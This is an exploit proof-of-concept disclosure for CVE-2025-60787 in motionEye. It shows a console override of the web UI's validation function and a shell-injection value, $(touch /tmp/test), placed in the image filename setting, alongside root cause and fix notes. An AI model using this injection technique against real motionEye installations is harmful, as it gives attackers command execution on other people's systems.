# Exploit Title: motionEye 0.43.1b4 - RCE
# Exploit PoC: motionEye RCE via client-side validation bypass (safe PoC)
# Filename: motioneye_rce_poc_edb.txt
# Author: prabhatverma47
# Date tested: 2025-05-14 (original test); prepared for submission: 2025-10-11
# Affected Versions: motionEye <= 0.43.1b4
# Tested on: Debian host running Docker; motionEye image ghcr.io/motioneye-project/motioneye:edge
# CVE(s) / References: MITRE/OSV advisories referenced: CVE-2025-60787
#
# Short description:
# Client-side validation in motionEye's web UI can be bypassed via overriding the JS validation
# function. Arbitrary values (including shell interpolation syntax) can be saved into the
# motion config. When motion is restarted, the motion process interprets the config and
# can execute shell syntax embedded inside configuration values such as "image_file_name".
#
# Safe PoC: creates a harmless file /tmp/test inside container (non-destructive).
#
# Environment setup:
# 1) Start the motionEye docker image:
#    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
#
# 2) Verify version in logs:
#    docker logs motioneye | grep "motionEye server"
#    Expect: 0.43.1b4 (or <= 0.43.1b4 for vulnerable)
#
# 3) Access web UI:
#    Open http://127.0.0.1:9999
#    Login: admin (blank password in default/edge image)
#
# Reproduction (manual + safe PoC):
# A) Bypass client-side validation in browser console:
#    1) Open browser devtools on the dashboard (F12 / Ctrl+Shift+I).
#    2) In the Console tab paste and run:
#
#       configUiValid = function() { return true; };
#
#    This forces the UI validation function to always return true and allows any value
#    to be accepted by the UI forms.
#
# B) Safe payload (paste this into Settings → Still Images → Image File Name and Apply):
#    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
#
#    After applying, the PoC triggers creation of /tmp/test inside the motionEye container
#    (the "touch" is executed when motion re-reads the config / motionctl restarts).
#
# C) Verify from host:
#    docker exec -it motioneye ls -la /tmp | grep test
#
# Expected result:
#    /tmp/test exists (created with the permissions of the motion process).
#
# Notes / root cause:
# - UI stores un-sanitized values into camera-*.conf (e.g., picture_filename),
#   which are later parsed by motion and interpreted as filenames – shell meta is executed.
# - Fix: sanitize/whitelist filename characters (example sanitization provided in README).
#
# References:
# - Original PoC & writeup: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
# - motionEye upstream: https://github.com/motioneye-project/motioneye
# - OSV/GHSA advisories referencing this issue (published May–Oct 2025)
# - NVD entries: CVE-2025-60787